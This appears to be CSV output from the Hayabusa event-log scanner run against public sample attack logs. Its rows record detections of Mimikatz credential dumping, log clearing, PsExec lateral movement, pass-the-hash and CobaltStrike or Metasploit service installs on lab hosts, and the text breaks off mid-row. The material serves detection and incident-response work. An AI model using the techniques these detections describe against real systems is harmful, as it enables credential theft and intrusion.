https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1eC0p1.img?w=100&h=100&m=6&tilesize=medium&x=1964&y=1240&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:53:52.751 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161390740451_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:54:15.647 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: efc1a28b.png : URL: https://i.imgur.com/IFpvPlt.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:55:38.049 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{259DDBBE-DDD3-4590-8A2C-60211631093C}-GoogleUpdateSetup.exe : URL: http://r5---sn-5hnedn7l.gvt1.com/edgedl/release2/update2/ALmnr7lDhOvozdF08iOk7Ks_1.3.36.72/GoogleUpdateSetup.exe?cms_redirect=yes&mh=pH&mip=213.127.64.248&mm=28&mn=sn-5hnedn7l&ms=nvh&mt=1615834104&mv=m&mvi=5&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 04:01:32.985 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{F1502BD5-ADFF-4123-9C07-0E4B02FCB037}-89.0.4389.82_87.0.4280.66_chrome_updater.exe : URL: http://r1---sn-5hne6nlr.gvt1.com/edgedl/release2/chrome/AKGnpidu3x0C0gtuxw-XHRQ_89.0.4389.82/89.0.4389.82_87.0.4280.66_chrome_updater.exe?cms_redirect=yes&mh=rx&mip=213.127.64.248&mm=28&mn=sn-5hne6nlr&ms=nvh&mt=1615834584&mv=m&mvi=1&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-27 01:12:22.200 +09:00,jump01.offsec.lan,7045,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-New service for Mimikatz +npcap.evtx +2021-03-27 01:12:22.200 +09:00,jump01.offsec.lan,7045,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-New service for Mimikatz +npcap.evtx +2021-03-27 01:12:22.201 +09:00,jump01.offsec.lan,13,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID13-New service for Mimikatz.evtx +2021-03-27 01:12:22.201 +09:00,jump01.offsec.lan,13,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID13-New service for Mimikatz.evtx +2021-03-27 01:17:29.210 +09:00,jump01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-New service for Mimikatz.evtx +2021-03-27 01:17:35.489 +09:00,jump01.offsec.lan,7045,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-New service for Mimikatz +npcap.evtx +2021-03-27 01:17:35.489 +09:00,jump01.offsec.lan,7045,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-New service for Mimikatz +npcap.evtx +2021-03-27 01:17:35.490 +09:00,jump01.offsec.lan,4697,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-New service for Mimikatz.evtx +2021-03-27 01:17:35.490 +09:00,jump01.offsec.lan,4697,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-New service for Mimikatz.evtx +2021-03-27 01:17:35.490 +09:00,jump01.offsec.lan,4697,high,Credential Dumping Tools Service Execution,,rules/sigma/builtin/security/win_security_mal_creddumper.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-New service for Mimikatz.evtx +2021-03-27 01:36:00.106 +09:00,jump01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4658,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4658,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4656,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4656,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4656,critical,LSASS Access from Non System Account,,rules/sigma/builtin/security/win_lsass_access_non_system_account.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4656,high,Generic Password Dumper Activity on LSASS,,rules/sigma/builtin/security/win_susp_lsass_dump_generic.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4663,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4663,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:59:24.880 +09:00,rootdc1.offsec.lan,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4661-4658 Mimikatz sekurlsa password dump SAM.evtx +2021-03-27 01:59:24.892 +09:00,rootdc1.offsec.lan,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4661-4658 Mimikatz sekurlsa password dump SAM.evtx +2021-04-21 05:32:55.368 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -Version 5.1 -s -NoLogo -NoProfile : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:32:55.368 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:00.305 +09:00,MSEDGEWIN10,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:00.384 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\user03 : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -Version 5.1 -s -NoLogo -NoProfile",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:01.944 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:13.741 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:13.741 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:13.741 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:14.273 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:14.273 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:14.273 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 18:27:51.181 +09:00,jump01.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-7036 PSexec service installation.evtx +2021-04-21 18:40:32.342 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.42.22 : Port: 56661 : LogonID: 0x1375fbd,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.343 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.343 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: PSEXESVC.exe : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.343 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: PSEXESVC.exe : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.347 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.42.22 : Port: 56662 : LogonID: 0x1375fd8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.348 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.42.22 : Port: 56663 : LogonID: 0x1375ff5,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.348 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.42.22 : Port: 56664 : LogonID: 0x1376003,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.360 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.42.22 : Port: 56666 : LogonID: 0x1376020,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.362 +09:00,srvdefender01.offsec.lan,4674,critical,SCM Database Privileged Operation,,rules/sigma/builtin/security/win_scm_database_privileged_operation.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.501 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.501 +09:00,srvdefender01.offsec.lan,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.510 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: cmd.exe : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.510 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: cmd.exe : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.528 +09:00,srvdefender01.offsec.lan,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.528 +09:00,srvdefender01.offsec.lan,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.529 +09:00,srvdefender01.offsec.lan,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 23:56:41.780 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:41.786 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:41.818 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\WindowsPowerShell\v1.0\powershell.exe : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1569.002-Service execution/ID5145-remote service creation over SMB.evtx +2021-04-21 23:56:41.818 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\WindowsPowerShell\v1.0\powershell.exe : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:41.818 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\WindowsPowerShell\v1.0\powershell.exe : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5145-remote shell execution via SMB admin share.evtx +2021-04-21 23:56:41.897 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,high,PowerShell Scripts Installed as Services,,rules/sigma/builtin/security/win_security_powershell_script_installed_as_service.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1059.001-PowerShell/ID4688-Encoded PowerShell MSF payload via process execution.evtx +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,critical,CobaltStrike Service Installations,,rules/sigma/builtin/security/win_security_cobaltstrike_service_installs.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1059.001-PowerShell/ID4688-Encoded PowerShell MSF payload via process execution.evtx +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,high,PowerShell Scripts Installed as Services,,rules/sigma/builtin/security/win_security_powershell_script_installed_as_service.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,critical,CobaltStrike Service Installations,,rules/sigma/builtin/security/win_security_cobaltstrike_service_installs.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,high,PowerShell Scripts Installed as Services,,rules/sigma/builtin/security/win_security_powershell_script_installed_as_service.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-MSF payload deployed via service.evtx +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,critical,CobaltStrike Service Installations,,rules/sigma/builtin/security/win_security_cobaltstrike_service_installs.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-MSF payload deployed via service.evtx +2021-04-22 17:50:53.614 +09:00,fs03vuln.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.686 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x74872,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.686 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: 0Konuy9q8HtkWeKS : IP Address: 10.23.123.11 : Port: 41747 : LogonID: 0x74872,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.686 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.780 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: FS03VULN$ : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: FS03VULN$ : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\WindowsPowerShell\v1.0\powershell.exe : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.796 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: FS03VULN$ : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:05.758 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x76e83,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:05.758 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 60163 : LogonID: 0x76e83,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:06.539 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 